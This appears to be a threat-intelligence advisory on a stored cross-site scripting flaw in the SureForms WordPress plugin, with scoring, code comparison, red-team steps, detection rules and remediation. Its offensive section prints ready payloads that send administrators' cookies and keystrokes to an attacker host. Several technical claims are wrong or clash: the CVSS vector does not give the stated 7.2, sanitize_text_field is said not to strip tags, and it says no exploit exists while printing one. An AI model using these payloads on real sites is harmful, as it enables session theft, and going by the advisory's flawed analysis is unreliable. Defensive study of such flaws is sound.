CVE-2025-14855

Executive Summary

CVE-2025-14855 is a Stored Cross-Site Scripting (XSS) vulnerability in the SureForms WordPress plugin, affecting all versions up to and including 2.2.0. The flaw resides in insufficient input sanitization and output escaping of form field parameters, allowing unauthenticated attackers to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious form, the injected script executes in the context of the victim’s browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is classified as CVSS 7.2 (High) and is currently unpatched by the vendor. No public exploit code or proof-of-concept is available at this time, but the attack vector is straightforward for any attacker with basic web skills.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since SureForms is distributed via the official WordPress plugin repository, any site running version 2.2.0 or earlier is at risk. Administrators should treat this as a supply chain risk and immediately disable the plugin until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No victim action needed beyond page load.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Overall Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Deep Dive & Mechanics

The vulnerability exists in the form field rendering logic of the SureForms plugin. When a user submits a form, the plugin stores the submitted data (including form field parameters) in the WordPress database. The plugin then displays these values on the frontend (e.g., in a "submissions" page or admin panel) without proper sanitization or escaping. Specifically, the sanitize_text_field() function is used, which is insufficient for preventing XSS because it does not strip HTML tags like <script> or <img onerror>. Additionally, the output is not escaped with esc_html() or wp_kses_post() before being rendered.

An attacker can craft a form submission containing malicious JavaScript in any text-based field (e.g., name, email, message). When an administrator or other user views the submissions page, the script executes in their browser. Since the attack is stored, it persists until the malicious entry is manually removed from the database.

Attack Flow:

1. Attacker identifies a WordPress site using SureForms <= 2.2.0.
2. Attacker submits a form with a payload like <script>alert('XSS')</script> in a text field.
3. The plugin stores the payload in the wp_postmeta or custom table.
4. When an admin visits the "Form Submissions" page, the payload is rendered without escaping.
5. The script executes, potentially stealing cookies, redirecting to a phishing page, or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (SureForms <= 2.2.0):

// In a display function, e.g., render_submission_field()
$value = sanitize_text_field( $submission_data['field_value'] );
echo '<div class="submission-field">' . $value . '</div>';

Patched Code (Hypothetical fix):

// Use wp_kses_post() to allow safe HTML or esc_html() to escape all HTML
$value = sanitize_text_field( $submission_data['field_value'] );
echo '<div class="submission-field">' . esc_html( $value ) . '</div>';

The fix requires replacing direct output with esc_html() or using wp_kses_post() if safe HTML is needed. Additionally, input validation should use wp_kses() with an allowed HTML whitelist.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with SureForms <= 2.2.0 installed and activated.
• A publicly accessible form (e.g., contact form).

Steps:

1. Identify a form field that accepts text input (e.g., "Name").
2. Submit the form with the following payload in the field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an administrator to view the submissions page.
4. The script executes, exfiltrating the admin's session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Defensive)

Detection:

• Monitor for form submissions containing <script>, <img onerror>, or other HTML event handlers.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST data.
• Enable WordPress security plugins that scan for malicious content in submissions.

Mitigation:

• Immediately disable the SureForms plugin until a patch is available.
• Manually sanitize existing submissions by running a SQL query to remove <script> tags:

  UPDATE wp_postmeta SET meta_value = REPLACE(meta_value, '<script>', '') WHERE meta_key LIKE '%sureforms%';
  

• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing ?cookie= or ?key= parameters.
• Host: Presence of <script> tags in wp_postmeta table entries with meta_key containing sureforms.
• Logs: WordPress debug log entries showing sanitize_text_field() usage on form submissions.
• File: Modified wp-content/plugins/sureforms/ files (if attacker gains admin access).

Detection Engineering

YARA Rule

rule CVE_2025_14855_SureForms_XSS {
    meta:
        description = "Detects stored XSS payloads in SureForms plugin submissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14855"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via SureForms Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS payloads in SureForms form submissions
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: /wp-json/sureforms/v1/submit
        http.body|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14855 SureForms Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-json/sureforms/v1/submit"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the SureForms plugin until a patched version is released.
2. Remove all existing malicious submissions from the database using a SQL query or WordPress admin interface.
3. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.

Long-Term Fix:

• The vendor must release a patched version that uses esc_html() or wp_kses_post() for output escaping.
• Until then, consider switching to an alternative form plugin (e.g., Contact Form 7, Gravity Forms).

Detection Hardening:

• Enable WordPress security logging (e.g., using the Activity Log plugin).
• Monitor for unusual form submissions containing HTML tags.
• Regularly audit plugin code for similar vulnerabilities.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert